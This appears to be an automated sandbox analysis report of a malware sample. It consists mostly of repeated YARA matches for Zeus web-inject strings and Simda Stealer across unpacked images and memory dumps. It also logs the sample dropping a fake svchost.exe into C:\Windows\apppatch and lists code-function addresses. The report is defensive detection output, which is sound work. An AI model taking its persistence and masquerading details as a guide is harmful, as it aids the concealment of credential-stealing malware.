Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2412000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2650000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.16.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e70000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2d00000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.407000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.35.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.893c00.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2762000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1242000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.27f2000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.15.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.roundwood.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.12.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.893000.5.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.8e2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.dd2000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.23.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.31.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.960000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.26.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.roundwood.exe.6bf318.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.25d0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2cd0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.19.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.11.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e30000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.33.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.10.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.15.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3c20000.8.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.roundwood.exe.406400.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.34.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.893c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1412000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.26.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.88e000.4.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.12e0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.30.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000017.00000002.2469299462.0000000002920000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2471833561.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000004.00000002.2719357526.00000000012E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000019.00000002.2472684695.00000000008E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2500002475.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2499726055.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000005.00000002.2689381612.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001D.00000002.2479482654.0000000002D00000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2048298647.0000000002970000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2508798151.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2482262641.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2499866560.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2487147831.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2392591021.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2458081836.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2422680364.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2500272198.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001F.00000002.2486303903.0000000002410000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000005.00000002.2689429346.0000000000E30000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001B.00000002.2475050431.00000000029F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2508679184.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000022.00000002.2487689003.0000000002950000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2510071854.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2395495961.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000015.00000002.2460508314.0000000002CD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2500141724.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000022.00000002.2487542677.00000000027F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2510491693.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000004.00000002.2719273525.0000000001240000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2448622131.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2508393493.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2501374465.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2497016320.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001D.00000002.2478719931.0000000002920000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2501604041.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2455382191.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001F.00000002.2486764914.00000000025D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2469676261.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2510323696.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2508541619.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.3060629328.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000024.00000002.2570365409.0000000002C90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2501156976.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000019.00000002.2473316243.0000000002650000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000017.00000002.2469451874.0000000002AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2478689860.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2450971544.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2510195177.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3273788686.0000000002D63000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2508233599.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2498994285.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.3060188818.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2474596414.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001B.00000002.2477343804.0000000002DA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2039049974.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000024.00000002.2535425288.00000000028C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: roundwood.exe PID: 5852, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: svchost.exe PID: 5284, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4268, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4672, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 6980, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 6300, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 6648, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 5168, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 5616, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 2672, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 3436, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4764, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 3656, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4460, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 2212, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 2180, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: oOzTQCDSVNrWDmuGqzFbKRbZs.exe PID: 4444, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Yara detected Simda Stealer
Source: Yara matchFile source: 0.2.roundwood.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 0.3.roundwood.exe.6ba318.2.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.3.svchost.exe.88e000.4.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.3.svchost.exe.88e000.2.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 0.2.roundwood.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara matchFile source: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara matchFile source: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara matchFile source: 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara matchFile source: 00000002.00000003.2039049974.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara matchFile source: Process Memory Space: roundwood.exe PID: 5852, type: MEMORYSTR
Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 5284, type: MEMORYSTR
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004021B0: CreateFileA,DeviceIoControl,CloseHandle,0_2_004021B0
Source: C:\Users\user\Desktop\roundwood.exeFile created: C:\Windows\apppatch\svchost.exeJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeFile created: C:\Windows\apppatch\svchost.exe\:Zone.Identifier:$DATAJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004090E00_2_004090E0
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0043A1C00_2_0043A1C0
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0040EA400_2_0040EA40
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004412400_2_00441240
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00447A4D0_2_00447A4D
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004352300_2_00435230
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004443000_2_00444300
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00442B100_2_00442B10
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004463300_2_00446330
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004403F00_2_004403F0
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0043BC400_2_0043BC40
